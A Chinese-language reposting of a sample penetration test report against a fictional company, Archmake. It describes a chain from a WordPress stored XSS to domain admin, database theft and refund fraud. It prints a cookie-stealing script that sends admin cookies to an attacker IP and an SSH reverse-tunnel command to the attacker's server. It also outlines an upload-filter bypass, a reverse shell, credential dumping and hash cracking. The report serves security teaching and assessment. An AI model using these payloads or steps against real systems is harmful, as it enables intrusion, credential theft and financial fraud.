前言

这是offensive security发布的一份渗透测试报告样例。offensive security 是backtrack-linux.org、exploit-db.com的缔造者。

概述

Offensive security已经被授权对Archmake的外部网站进行一次渗透测试.测试评估的方式是模拟恶意的攻击者对公司进行目的明确的渗透.在初期的信息搜集阶段,发现Archmake公司仅仅只有一个web网站和一个邮件服务器.可供攻击的目标比较少.

在对网站的安全评估中,发现它安装了一个有漏洞的WordPress插件.成功利用这个漏洞,取得了WordPress的管理权限.然后反弹了一个交互式的shell并成功提到root权限.

获取了网站服务器的权限之后,开始对内网进行渗透,经过一番尝试,成功获取到了域管理员的权限.之后对内网进行拓扑分析,发现了内网的公司数据库并成功控制.这个数据库不仅存储了订单信息和客户资料,还保存了交易的相关信息.通过控制这个系统,攻击者可以直接提取现金.

测试过程

WordPress漏洞利用

在对目标系统进行搜集的时候发现网站采用了wordpress 3.3.1搭建.我们在对WordPress进行代码审计的同时,用WPScan扫描了目标网站,发现一个不安全的插件:

./wpscan.rb --url www.Archmake.com --enumerate p
____________________________________________________
__
_______
_____
\ \
/ / __ \ / ____|
\ \ /\ / /| |__) | (___
___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | |
____) | (__| (_| | | | |
\/ \/
|_|
|_____/ \___|\__,_|_| |_| v1.1
WordPress Security Scanner by ethicalhack3r.co.uk
Sponsored by the RandomStorm Open Source Initiative
_____________________________________________________
| URL: http://www.Archmake.com/
| Started on Tue Jan 24 18:44:49 2012
[!] The WordPress theme in use is called "twentyeleven".
[!] The WordPress "http://www.Archmake.com/readme.html" file exists.
[!] WordPress version 3.3.1 identified from meta generator.
[+] Enumerating installed plugins...
Checking for 2892 total plugins... 100% complete.
[+] We found 2 plugins:
Name: relevanssi
Location: http://www.Archmake.com/wp-content/plugins/relevanssi/
Directory listing enabled? Yes.
Name: relevanssi
Location: http://www.Archmake.com/wp-content/plugins/relevanssi/
Directory listing enabled? Yes.
[+] There were 1 vulnerabilities identified from the plugin names:
[!] Relevanssi 2.7.2 WordPress Plugin Stored XSS Vulnerability
* Reference: http://www.exploit-db.com/exploits/16233/
[+] Finished at Tue Jan 24 18:45:30 2012 

正如WPScan扫描结果展示的一样,这个Relevanssi插件存在一个XSS漏洞.成功利用这个漏洞可以窃取到管理员的cookies.

第一步,我们在Archmake网站的搜索栏中插入如下代码:

<script>new Image().src="http://172.16.40.204/p.php?cookie="+document.cookie; </script>

clip_image001

当WordPress管理员点击后台管理面板上的”User Searches”时,脚本就会执行.

clip_image002

远程攻击者的服务器上就可以接收到管理员的cookie.

GET
/p.php?cookie=wordpress_ed8a4e5dd813c7b5d262130b08955a6a=admin%7C1328098588
%7C72c3335ad1e783b75bb3d8cf9e85fc9c;%20wp-settings-time-
1=1327925790;%20wordpress_test_cookie=WP+Cookie+check;%20wordpress_logged_i
n_ed8a4e5dd813c7b5d262130b08955a6a=admin%7C1328098588%7Caf1bcabca49191de76e
c45e798ae5ada;%20wp-settings-
1=editor%3Dhtml;%20wordpress_ed8a4e5dd813c7b5d262130b08955a6a=admin%7C13275
99469%7C3ada64cf8e918c9a4bf148896181fc63;%20wordpress_logged_in_ed8a4e5dd81
3c7b5d262130b08955a6a=admin HTTP/1.1

然后使用firefox的cookie编辑器,修改cookie.这样就可以绕过WordPress的登录功能,获得一个管理员会话.

clip_image004

clip_image006

获取到后台管理员权限之后,整站的权限就有很多种方法可以得到了.最直接的就是修改WordPress的主题文件.

WordPress插件任意文件类型上传

取得WordPress系统的权限了,接下来可以白盒审计一下,看看是否有其他的漏洞可能被攻击者利用.这里我们审计了WordPress安装的插件.

审计插件的时候发现一个可以允许用户上传头像的插件.

clip_image008

通过对这个插件的源码进行审计,发现它是通过一个正则表达式来控制上传文件的类型的.

clip_image009

上面这段用来检查上传文件的代码是存在缺陷的.这个正则对字符串进行了一次简单的过滤,而且这是唯一的一个检测文件类型的手段.它的本意是只允许像”Myimage.png”这样的文件名.但是像”Myimage.png.php”这样的文件名也可以成功通过正则的检测,上传到服务器上.

虽然将后续攻击上传到服务器上有很多方法(前面提到过,比如修改主题).但是我们决定采用这个漏洞来上传.一是可以验证一个新的漏洞,二是这样子对服务器所做的更改最小化.

clip_image011

为了验证这个上传过程确实跟我们分析的一样,先上传了一个标准的图像文件作为测试.然后上传了一个配置好的反弹shell的php脚本.

执行这个脚本,在攻击者控制的远程服务器上可以获得一个交互式的shell环境.因为这个shell是以webserver的权限的运行的,所以它只有很低的权限.

clip_image013

Linux本地权限提升

获得了目标网站服务器的交互式shell之后,下一个目标自然是获得系统的root权限了.

目标系统的相关信息如下: Linux version 2.6.32-5-686 (Debian 2.6.32-38) ([email protected]) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Mon Oct 3 04:15:24 UTC 2011

经过一番资料搜索和测试,发现这个系统存在一个race condition的缺陷.先是通过上传头像的插件上传了利用代码.

clip_image015

解压,加执行权限,执行利用程序,成功获得root权限.

clip_image017

现在,这个网站服务器已经可以作为一个恶意攻击者进行内网渗透的跳板了.如果这是一次真实的攻击,那么这台网站服务器上的任何数据都已经不可信了,因为攻击者可以随意修改控制.

长期驻守服务器

获得了服务器的管理权限之后,就需要维护一个更加稳定的连接来进行后续的渗透.

通过对该服务器的检查,发现它的ssh服务运行在22000端口.我们决定使用ssh将内网端口转发出来.这样子既方便,又不会给服务器带来额外的安全风险.

为了把对系统的变更降到最低,我们既没有添加账户,也没有修改账户口令.而是采用了SSH 基于密钥的认证方式.

之前提到过.我们自己控制的SSH服务器,ssh开在53端口.通过执行以下命令,将网站服务器的22000端口转发出来.

ssh -o 'StrictHostKeyChecking no' -R 22000:127.0.0.1:22000 -p 53 172.16.40.204 ping 127.0.0.1

clip_image019

此外还需要创建一个SOCKS代理,这样攻击者就可以通过这个代理来访问目标网络里的服务.

clip_image021

存在漏洞的splunk

当分析已经控制的网站服务器配置的时候发现一个内网网段10.10.0.x.对这个内网网段进行扫描分析,我们发现了一台splunk服务器.

splunk 低于4.2.5的版本存在一个高危的远程命令执行漏洞.通过前面介绍的SOCKS代理,我们访问到了Splunk的web界面.证实了它的版本是4.2.2

clip_image023

在windows上splunk一般都是以SYSTEM权限运行的.所以我们可以直接添加一个管理员用户.

clip_image025

这个命令执行漏洞是没有回显的,只能通过登录远程桌面来验证命令是否执行成功.

clip_image026

现在我们又控制了内网一台win服务器.

获得域管理权限

内网渗透,而且是windows主机.下一步一般就是要获取域管理员的权限了.我们把WCE(Windows Credential Editor)上传到splunk服务器上.WCE可以从内存中读取认证信息,然后利用这些认证信息来做一些有用的事情.

在splunk服务器上执行wce.exe,成功从内存中获取到了域管理员的token.

clip_image027

有了这些认证信息,就可以很容易的获取一个域管理员权限的shell.

clip_image028

然后利用这个shell运行终端管理(Microsoft Management Console).攻击者就或得了域的控制权限.

clip_image029

数据库数据利用

控制splunk服务器之后,在它的本地文件系统中发现了一个csv文件.

clip_image030

分析发现这是一个从数据库中导出的客户信息的文件.

clip_image031

很显然,应该是exportcsv.exe这个程序导出的数据库信息.用OD对这个程序进行了分析,发现它直连了一个MS SQL server.连接的认证信息直接编码在了程序里面.

clip_image032

利用获取到的认证信息可以直连到数据库,从而获得了控制这个数据库所有数据的权限.

clip_image033

clip_image034

导出数据库的数据进行分析.发现了大量客户的信息,包括用户ID,姓名,邮件,电话,加密的密码和其他信息.

clip_image035

密码是用md5加密的.将这些hash导入我们维护的密码破解器进行破解.一共导入了1000个hash,22秒后,成功破解了996个.(话外音:这是什么节奏啊….)

clip_image036

控制Archmake的交易

在对数据库进行深入分析的时候我们注意到有很多表的内容会定期更新.通过对这些表的监控和分析发现,原来这是跟订单有关的表.这些订单的信息会定期的更新到数据库里.一段时间以后,会根据”Category”字段的不同进行不同的处理.

clip_image037

经过对数据库监控和在数据库中添加一些测试数据,最后总结除了Categories字段的含义:

clip_image038

交易的类型一确定,相关的信息就会插入到这个表里.我们发现如果插入一个有效的用户ID,用户信息卡信息填攻击者自己控制的信用卡,交易类型选4(4是退款).就可以退任意数额的钱到攻击者的信用卡账户了.这个已经在可控的环境下被证实了.

原文下载 转自FreeBuf

源链接

Hacking more

...